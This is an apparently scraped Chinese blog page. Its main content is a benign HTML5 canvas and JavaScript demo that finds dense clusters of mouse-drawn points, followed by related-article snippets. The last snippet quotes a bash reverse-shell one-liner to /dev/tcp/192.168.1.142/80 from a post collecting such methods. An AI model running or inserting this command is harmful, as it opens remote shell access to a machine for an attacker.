<!DOCTYPE html>

<html xmlns="http://www.w3.org/1999/xhtml">

<head>

    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />

    <title></title>

    <style type="text/css">

        html, body {

            margin: 0;

            padding: 0;

            border: none;

            width: 100%;

            height: 100%;

        }

    </style>

    <script type="text/javascript">

        onload = function () {

            demoCanvas.height = document.body.clientHeight - paramsPanel.clientHeight;

            demoCanvas.width = document.body.clientWidth;

        }

    </script>

</head>

<body>

    <div id="paramsPanel">

        <label for="radius">radius</label><input id="radius" type="range" value="5" max="111" min="1" />

        <label for="density">density</label><input id="density" type="range" value="5" max="111" min="1" />

        <label for="areaRange">areaRange</label><input id="areaRange" type="range" value="32" max="111" min="1" />

    </div>

    <canvas id="demoCanvas"></canvas>

    <script type="text/javascript">

        onkeydown = function (e) {

            switch (e.keyCode) {

                case 49:

                    radius.focus();

                    break;

                case 50:

                    density.focus();

                    break;

                case 51:

                    areaRange.focus();

                    break;

            }

        };

        function dropDots() {

            var ctx = demoCanvas.getContext("2d");

            var ps = [];

            function drop(e) {

                ctx.beginPath();

                ctx.arc(e.x, e.y, .5, 0, Math.PI * 2);

                ps.push([e.x, e.y]);

                ctx.fillStyle = "#000";

                ctx.fill();

            }

            demoCanvas.onmousedown = function (e) {

                demoCanvas.getContext("2d").clearRect(0, 0, 12344, 12344);

                ps = [];

                drop(e);

                addEventListener("mousemove", drop);

            };

            onmouseup = onblur = function () {

                if (!ps.length) {

                    return;

                }

                removeEventListener("mousemove", drop);

                var radius = parseFloat(document.getElementById("radius").value);

                var density = parseInt(document.getElementById("density").value);

                var areaRange = parseInt(document.getElementById("areaRange").value);

                var areas = getAreas(ps, radius, density, areaRange);

                for (var i = 0; i < areas.length; i++) {

                    var e = areas[i][0][0];

                    ctx.beginPath();

                    ctx.arc(e[0], e[1], areaRange / 2, 0, Math.PI * 2);

                    ctx.strokeStyle = "#00a";

                    ctx.stroke();

                    ctx.closePath();

                }

            }

        }

        dropDots();

        function getAreas(ps, radius, density, areaRange) {

            var vps = [];//所有符合条件的点与附近点集，格式为[point,[points]]

            for (var i = 0; i < ps.length; i++) {

                var nps = [];//遍历附近的点，找出附近点的点集

                for (var j = 0; j < ps.length; j++) {//

                    if (i === j) {

                        continue;

                    }

                    if (xy2(ps[i], ps[j]) > radius) {

                        continue;

                    }

                    nps.push(ps[j]);

                }

                if (nps.length > density) {//检查附近的点的密度

                    vps.push([ps[i], nps]);

                }

            }

            var idxs = [];

            for (var i = 0; i < vps.length; i++) {//生成所有符合条件的点集的坐标集

                idxs.push(i);

            }

            vps.sort(function (np0, np1) {//附近点集

                return np1[1].length - np0[1].length;

            });

            var areas = [];//返回值

            while (idxs.length) {

                var nps0 = vps[idxs[0]];

                var g = [nps0];

                var new_idxs = [];//不符合条件点集，如有元素将重新开始判断

                for (var i = 1; i < idxs.length; i++) {

                    var idxi = idxs[i];

                    var npsi = vps[idxi];

                    if (xy2(nps0[0], npsi[0]) > areaRange * areaRange) {

                        new_idxs.push(idxi);

                    } else {

                        g.push(npsi);//一个区域

                    }

                }

                g.sort(function (g0, g1) {//找出附近点集数量最大的点

                    return g1[1].length - g0[1].length;

                });

                areas.push(g);

                idxs = new_idxs;//不符合条件点集，如存在将重新开始判断

            }

            return areas;

        }

        function xy2(p0, p1) {//算距离

            return (p0[0] - p1[0]) * (p0[0] - p1[0]) + (p0[1] - p1[1]) * (p0[1] - p1[1]);

        }

    </script>

</body>

</html>

找出点的密集区域，javascript实现，html5 canvas效果图的更多相关文章

  1. 纯JavaScript实现HTML5 Canvas六种特效滤镜

    纯JavaScript实现HTML5 Canvas六种特效滤镜  小试牛刀,实现了六款简单常见HTML5 Canvas特效滤镜,并且封装成一个纯 JavaScript可调用的API文件gloomyfi ...

  2. 怎样用JavaScript和HTML5 Canvas绘制图表

    原文:https://code.tutsplus.com/zh-...原作:John Negoita翻译:Stypstive 在这篇教程中,我将展示用JavaScript和canvas作为手段,在饼状 ...

  3. JavaScript 基于HTML5 canvas 获取文本占用的像素宽度

    基于HTML5 canvas 获取文本占用的像素宽度   by:授客 QQ:1033553122 直接上代码   // 获取单行文本的像素宽度 getTextPixelWith(text, fontS ...

  4. JavaScript和html5 canvas生成圆形印章

    代码: function createSeal(id,company,name){ var canvas = document.getElementById(id); var context = ca ...

  5. [转]JavaScript和html5 canvas生成圆形印章

    本文转自:http://www.cnblogs.com/dragondean/p/6013529.html 代码: function createSeal(id,company,name){ var ...

  6. html5 canvas 画板

    <!doctype html> <head> <meta http-equiv="Content-Type" content="text/h ...

  7. javascript开发HTML5游戏--斗地主(单机模式part3)

    最近学习使用了一款HTML5游戏引擎(青瓷引擎),并用它尝试做了一个斗地主的游戏,简单实现了单机对战和网络对战,代码可已放到github上,在此谈谈自己如何通过引擎来开发这款游戏的. 客户端代码 服务 ...

  8. javascript开发HTML5游戏--斗地主(单机模式part2)

    最近学习使用了一款HTML5游戏引擎(青瓷引擎),并用它尝试做了一个斗地主的游戏,简单实现了单机对战和网络对战,代码可已放到github上,在此谈谈自己如何通过引擎来开发这款游戏的. 客户端代码 服务 ...

  9. 青瓷引擎之纯JavaScript打造HTML5游戏第二弹——《跳跃的方块》Part 10（排行榜界面&界面管理）

    继上一次介绍了<神奇的六边形>的完整游戏开发流程后(可点击这里查看),这次将为大家介绍另外一款魔性游戏<跳跃的方块>的完整开发流程. (点击图片可进入游戏体验) 因内容太多,为 ...

随机推荐

  1. 【转】jenkins+gitlab配置遇到问题

    搭建jenkins+gitlab拉取代码失败,日志如下: ERROR: Error fetching remote repo 'origin'hudson.plugins.git.GitExcepti ...

  2. 安装redis报错 you need tcl 8.5 or newer in order to run redis test

    解决方法: wget http://downloads.sourceforge.net/tcl/tcl8.6.1-src.tar.gz tar -zxvf tcl8.6.1-src.tar.gz -C ...

  3. iOS进阶之使用 NSURLProtocol 拦截 HTTP 请求（转载）

    这篇文章会提供一种在 Cocoa 层拦截所有 HTTP 请求的方法,其实标题已经说明了拦截 HTTP 请求需要的了解的就是 NSURLProtocol. 由于文章的内容较长,会分成两部分,这篇文章介绍 ...

  4. vuex store刷新存储状态

    app.vue 平时不想把信息存到session里,只有无可奈何的时候才准备村 <script> export default { name: 'App', created() { //刷 ...

  5. Linux nmcli 网络管理

    Linux nmcli 网络管理 RHEL 和 CentOS 系统默认使用 NetworkManager 来提供网络服务,这是一种动态管理网络配置的守护进程,能够让网络设备保持连接状态.可以使用 nm ...

  6. oracle SQL性能分析之10053事件

    优化器生成正确执行计划的前提条件是要有正确的统计信息,不准确的统计信息往往会导致错误的执行计划.当通过SQL和基数推断出的执行计划和实际执行计划不同时,就可以借助10053事件.10053事件是用来诊 ...

  7. C# 无法将类型为“__DynamicallyInvokableAttribute”的对象强制转换为类型...

    错误代码: //遍历方法特性 foreach (MethodInfo m in type.GetMethods()) { foreach(Attribute a in m.GetCustomAttri ...

  8. ORACLE数据库找回用户密码

    安装完oracle数据库后,登录时sys,system,scott这几个用户密码输入后都不对,查阅资料后解决 1,cmd下输入sqlplus,之后让你输入用户名,输入这个 "/as sysd ...

  9. 【做题】ECFinal2018 J - Philosophical … Balance——dp

    原文链接 https://www.cnblogs.com/cly-none/p/ECFINAL2018J.html 题意:给出一个长度为\(n\)的字符串\(s\),要求给\(s\)的每个后缀\(s[ ...

  10. 反弹shell以及端口转发的方法收集

    Bash bash -i >& /dev/tcp/192.168.1.142/80 0>&1 exec 5<>/dev/tcp/192.168.1.142/80 ...